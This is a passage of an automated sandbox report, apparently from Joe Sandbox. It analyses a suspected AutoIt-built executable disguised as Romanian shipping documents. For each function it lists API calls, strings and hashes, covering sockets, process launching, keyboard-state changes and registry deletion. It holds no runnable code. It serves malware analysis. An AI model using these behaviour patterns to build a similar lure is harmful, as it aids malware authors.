                                                • Instruction ID: ca6ef08709e0c9990551792f21c63d114a02da3484cf3eb66053c327ae1312e4
                                                • Opcode Fuzzy Hash: 3405ffc0b9995c48f752995ffc195c55a97ba03654dc5cf987b0a312cc864ef3
                                                • Instruction Fuzzy Hash: 2F81BD71608200ABD710EB64DC82FABB7A8AFC5714F14492DF9569B2D2DA70AD41CB92
                                                Function 009A1424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 6a369010e9d799446e47d3125952da01c730ebc172bf7b5da9ac2e1573684442
                                                • Instruction ID: 86ba0c9a0ba5d27ae5562f626e018d9b8a28e9ec343e8e19e212bd164c270e4f
                                                • Opcode Fuzzy Hash: 6a369010e9d799446e47d3125952da01c730ebc172bf7b5da9ac2e1573684442
                                                • Instruction Fuzzy Hash: 04716034904109EFCB14CF98CC89ABE7BB9FF8A310F14C159F915AA251D7349A51CBA4
                                                Function 00A1F41E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00A1F448
                                                • _memset.LIBCMT ref: 00A1F511
                                                • ShellExecuteExW.SHELL32(?), ref: 00A1F556
                                                  • Part of subcall function 009A9837: __itow.LIBCMT ref: 009A9862
                                                  • Part of subcall function 009A9837: __swprintf.LIBCMT ref: 009A98AC
                                                  • Part of subcall function 009BFC86: _wcscpy.LIBCMT ref: 009BFCA9
                                                • GetProcessId.KERNEL32(00000000), ref: 00A1F5CD
                                                • CloseHandle.KERNEL32(00000000), ref: 00A1F5FC
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
                                                • String ID: @
                                                • API String ID: 3522835683-2766056989
                                                • Opcode ID: 8f3b497cb9d67fba6a9bff5cf152c459f2532fe1643e5f653355afe899ad6098
                                                • Instruction ID: fb420c9d904cbadf518c60a9671b0a9855304a0ce8ba95a458cc1833a75bb33a
                                                • Opcode Fuzzy Hash: 8f3b497cb9d67fba6a9bff5cf152c459f2532fe1643e5f653355afe899ad6098
                                                • Instruction Fuzzy Hash: 2A619275A00659DFCB14DF98C881AAEBBF5FF89310F158069E859AB351CB34AD41CB90
                                                Function 00A00F4D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetParent.USER32(?), ref: 00A00F8C
                                                • GetKeyboardState.USER32(?), ref: 00A00FA1
                                                • SetKeyboardState.USER32(?), ref: 00A01002
                                                • PostMessageW.USER32(?,00000101,00000010,?), ref: 00A01030
                                                • PostMessageW.USER32(?,00000101,00000011,?), ref: 00A0104F
                                                • PostMessageW.USER32(?,00000101,00000012,?), ref: 00A01095
                                                • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00A010B8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessagePost$KeyboardState$Parent
                                                • String ID:
                                                • API String ID: 87235514-0
                                                • Opcode ID: d295b38485ed264985fa3b0a24521984bb035b982539a2a86a262fbd18964674
                                                • Instruction ID: 89542d479ea35dd7be5c3f453827eff38557daa17b1859588d482a224d36333b
                                                • Opcode Fuzzy Hash: d295b38485ed264985fa3b0a24521984bb035b982539a2a86a262fbd18964674
                                                • Instruction Fuzzy Hash: 8A5125606047DA3DFB3647389C45BFABEA95B06304F08859DE1D4868C3C2E9DCC9D750
                                                Function 00A00D66 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetParent.USER32(00000000), ref: 00A00DA5
                                                • GetKeyboardState.USER32(?), ref: 00A00DBA
                                                • SetKeyboardState.USER32(?), ref: 00A00E1B
                                                • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00A00E47
                                                • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00A00E64
                                                • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00A00EA8
                                                • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00A00EC9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessagePost$KeyboardState$Parent
                                                • String ID:
                                                • API String ID: 87235514-0
                                                • Opcode ID: 0d3f9d185065c2edc08a5195bf0b59edbb62c41c59e873741bea5b70e4d011a3
                                                • Instruction ID: 64f0a829050fb292cdbbd64f45f147283f70f2d6aa411d4c2830026770f17c4a
                                                • Opcode Fuzzy Hash: 0d3f9d185065c2edc08a5195bf0b59edbb62c41c59e873741bea5b70e4d011a3
                                                • Instruction Fuzzy Hash: 095106A05087D93EFB368374DC45FBABFA96B06300F088899F1D4568C2D395EC99E760
                                                Function 00A055FD Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _wcsncpy$LocalTime
                                                • String ID:
                                                • API String ID: 2945705084-0
                                                • Opcode ID: bf46f4c10e7ebca36da38f8c06af1abb2457b9c6cbb611fb1fecd2493f07ccf4
                                                • Instruction ID: 33a2d92ce3698001a4eec51b82ae64fc85dca23f9687e2cd613f785514ba3f59
                                                • Opcode Fuzzy Hash: bf46f4c10e7ebca36da38f8c06af1abb2457b9c6cbb611fb1fecd2493f07ccf4
                                                • Instruction Fuzzy Hash: A541C469C5021876CB11EBB49C86FCFB7B89F45310F50896AF508E3261EB34A645CBA7
                                                Function 00A2A056 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: @U=u
                                                • API String ID: 0-2594219639
                                                • Opcode ID: af311657f49e53788bc04bd6b6b04b72d7f52402df2f3b7fe3fbae4153e6e0cd
                                                • Instruction ID: 1df01d861eaef64fbc699415f4f469e5fad0969cf28d5c480af65fbdf3500a8b
                                                • Opcode Fuzzy Hash: af311657f49e53788bc04bd6b6b04b72d7f52402df2f3b7fe3fbae4153e6e0cd
                                                • Instruction Fuzzy Hash: 1041F735904124AFD720DF7CEC48FA9BBB4EB19320F140275F916A72E1C770AD52DA91
                                                Function 00A03671 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00A0466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00A03697,?), ref: 00A0468B
                                                  • Part of subcall function 00A0466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00A03697,?), ref: 00A046A4
                                                • lstrcmpiW.KERNEL32(?,?), ref: 00A036B7
                                                • _wcscmp.LIBCMT ref: 00A036D3
                                                • MoveFileW.KERNEL32(?,?), ref: 00A036EB
                                                • _wcscat.LIBCMT ref: 00A03733
                                                • SHFileOperationW.SHELL32(?), ref: 00A0379F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
                                                • String ID: \*.*
                                                • API String ID: 1377345388-1173974218
                                                • Opcode ID: a782eeb00ef3b1b8bd57bb7375324847d029a6607c63857c8d9d71ae2d018906
                                                • Instruction ID: ef8126c65917aaaf1448249569d94dbe982ff343b56ae6bd197e6cb7e054ed90
                                                • Opcode Fuzzy Hash: a782eeb00ef3b1b8bd57bb7375324847d029a6607c63857c8d9d71ae2d018906
                                                • Instruction Fuzzy Hash: 334163B2508348AECB51EF64D441ADF77ECAF89380F400D2EB499C3291EA35D689C756
                                                Function 00A27291 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00A272AA
                                                • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00A27351
                                                • IsMenu.USER32(?), ref: 00A27369
                                                • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00A273B1
                                                • DrawMenuBar.USER32 ref: 00A273C4
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Menu$Item$DrawInfoInsert_memset
                                                • String ID: 0
                                                • API String ID: 3866635326-4108050209
                                                • Opcode ID: 2732a4983bec8c86c8a89047e003cea4b7af0086efc2303d5c894bb6b2190cd5
                                                • Instruction ID: 6d8bf4c2c275336445ef59b7235e8cab41a9dba95a21b7e249041c757faa00d1
                                                • Opcode Fuzzy Hash: 2732a4983bec8c86c8a89047e003cea4b7af0086efc2303d5c894bb6b2190cd5
                                                • Instruction Fuzzy Hash: 8D412875A04219EFDB20DF98E984AAEBBF5FB04310F148429FD459B250D730AE50EB90
                                                Function 00A20FA5 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00A20FD4
                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00A20FFE
                                                • FreeLibrary.KERNEL32(00000000), ref: 00A210B5
                                                  • Part of subcall function 00A20FA5: RegCloseKey.ADVAPI32(?), ref: 00A2101B
                                                  • Part of subcall function 00A20FA5: FreeLibrary.KERNEL32(?), ref: 00A2106D
                                                  • Part of subcall function 00A20FA5: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00A21090
                                                • RegDeleteKeyW.ADVAPI32(?,?), ref: 00A21058
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: EnumFreeLibrary$CloseDeleteOpen
                                                • String ID:
                                                • API String ID: 395352322-0
                                                • Opcode ID: 550a9a99918ed5c62d644ff528b54052b2dc49366a6ee6ce315606be4f8ee058
                                                • Instruction ID: e17f804c826646f902287f4ff5e7cf2e4d37c5c3ad05c8a18e98151d2547da44
                                                • Opcode Fuzzy Hash: 550a9a99918ed5c62d644ff528b54052b2dc49366a6ee6ce315606be4f8ee058
                                                • Instruction Fuzzy Hash: B0310D71905119BFDB25DFD8EC89EFFB7BCEF18300F000179E501A2151EA749E869AA0
                                                Function 009FDAEB Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 009FDB2E
                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 009FDB54
                                                • SysAllocString.OLEAUT32(00000000), ref: 009FDB57
                                                • SysAllocString.OLEAUT32(?), ref: 009FDB75
                                                • SysFreeString.OLEAUT32(?), ref: 009FDB7E
                                                • StringFromGUID2.OLE32(?,?,00000028), ref: 009FDBA3
                                                • SysAllocString.OLEAUT32(?), ref: 009FDBB1
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                • String ID:
                                                • API String ID: 3761583154-0
                                                • Opcode ID: 0302a0e7c7b617cc600aae7e7ce48a0d9b9cce82fff26d828f5b80ba4aa463b4
                                                • Instruction ID: 66dd0e6b28f74313b49cb897c37b98a8499b120730ce68c5f551029dfaf7fc10
                                                • Opcode Fuzzy Hash: 0302a0e7c7b617cc600aae7e7ce48a0d9b9cce82fff26d828f5b80ba4aa463b4
                                                • Instruction Fuzzy Hash: 9921923660121DAFDF10EFA8DC88DBB73ADEB09361B018575FA14DB290D674DC428760
                                                Function 00A16173 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00A17D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00A17DB6
                                                • socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00A161C6
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00A161D5
                                                • ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00A1620E
                                                • connect.WSOCK32(00000000,?,00000010), ref: 00A16217
                                                • WSAGetLastError.WSOCK32 ref: 00A16221
                                                • closesocket.WSOCK32(00000000), ref: 00A1624A
                                                • ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00A16263
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
                                                • String ID:
                                                • API String ID: 910771015-0
                                                • Opcode ID: 87ca227e4f8b35acc3605a6463a6d9bdf53809406c175ea1e7b70fe470ad8361
                                                • Instruction ID: baedbadf54399cb7a4628d97a885bdd6608586bc0664c95ce400422604611393
                                                • Opcode Fuzzy Hash: 87ca227e4f8b35acc3605a6463a6d9bdf53809406c175ea1e7b70fe470ad8361
                                                • Instruction Fuzzy Hash: 18319E31600118AFDF20AF68CC85BFE7BB9EB45760F044029F905E7291CB74AC858BA1
                                                Function 009F8E90 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A7DE1: _memmove.LIBCMT ref: 009A7E22
                                                  • Part of subcall function 009FAA99: GetClassNameW.USER32(?,?,000000FF), ref: 009FAABC
                                                • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 009F8F14
                                                • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 009F8F27
                                                • SendMessageW.USER32(?,00000189,?,00000000), ref: 009F8F57
                                                  • Part of subcall function 009A7BCC: _memmove.LIBCMT ref: 009A7C06
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$_memmove$ClassName
                                                • String ID: @U=u$ComboBox$ListBox
                                                • API String ID: 365058703-2258501812
                                                • Opcode ID: 9b2e2ba145d79d20207ee55f9ea069c7abc77512ba7ec8313f19577b10125e49
                                                • Instruction ID: a042133ab9a93f168ce1387b4257725efa2a00dde71b0be8ae5ed61a90d4ff1e
                                                • Opcode Fuzzy Hash: 9b2e2ba145d79d20207ee55f9ea069c7abc77512ba7ec8313f19577b10125e49
                                                • Instruction Fuzzy Hash: 7321F271A00108BEDB14ABB49C46EFFB779DF86320F004529F925A71E1DB39484A97A0
                                                Function 009FF65E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __wcsnicmp
                                                • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                • API String ID: 1038674560-2734436370
                                                • Opcode ID: 7bb534bf1a2a1262a7a6d0d9d475d0fcf1b6e1af9a39f5486005553ea8f4ea51
                                                • Instruction ID: c4b80f79211ba550b7262c904957e0f0affbe9c1790315c4ca6f34bfa60bed16
                                                • Opcode Fuzzy Hash: 7bb534bf1a2a1262a7a6d0d9d475d0fcf1b6e1af9a39f5486005553ea8f4ea51
                                                • Instruction Fuzzy Hash: 2D2146726042197AD620BA34AC23FB7B39CEF95354F14883AFA46C7191EB949D41C396
                                                Function 009FDBC4 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 009FDC09
                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 009FDC2F
                                                • SysAllocString.OLEAUT32(00000000), ref: 009FDC32
                                                • SysAllocString.OLEAUT32 ref: 009FDC53
                                                • SysFreeString.OLEAUT32 ref: 009FDC5C
                                                • StringFromGUID2.OLE32(?,?,00000028), ref: 009FDC76
                                                • SysAllocString.OLEAUT32(?), ref: 009FDC84
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                • String ID:
                                                • API String ID: 3761583154-0
                                                • Opcode ID: 5d368465154bb330a872faf041d35de0fadcc5542043bc54c62392a1b086ec94
                                                • Instruction ID: 02b796a3b046ffe83311eb9b150ed43c7650f1c299d7eb39d8714c63b03a344c
                                                • Opcode Fuzzy Hash: 5d368465154bb330a872faf041d35de0fadcc5542043bc54c62392a1b086ec94
                                                • Instruction Fuzzy Hash: 77216235605208AF9B10EFECDC88DBB77ADEB49360B108135FA54CB2A1D6B4DD42C764
                                                Function 009FB1EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • IsWindowVisible.USER32(?), ref: 009FB204
                                                • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 009FB221
                                                • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 009FB259
                                                • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 009FB27F
                                                • _wcsstr.LIBCMT ref: 009FB289
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
                                                • String ID: @U=u
                                                • API String ID: 3902887630-2594219639
                                                • Opcode ID: 3a12b1e3d46be9009cf5b637fd5a8dfd97dd820eaf25c4827d62e6fb2b74d1cd
                                                • Instruction ID: 5220d77b604e1c6ba936f8674ee3617dc977a78a07220269f77ea881ec29c812
                                                • Opcode Fuzzy Hash: 3a12b1e3d46be9009cf5b637fd5a8dfd97dd820eaf25c4827d62e6fb2b74d1cd
                                                • Instruction Fuzzy Hash: CA210332604204AAEB259F79DC09FBF7BACDB99720F00813DF908CA1A1EB619C419361
                                                Function 009F9307 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 84windowCOMMON
                                                Download Yara Rule
                                                APIs
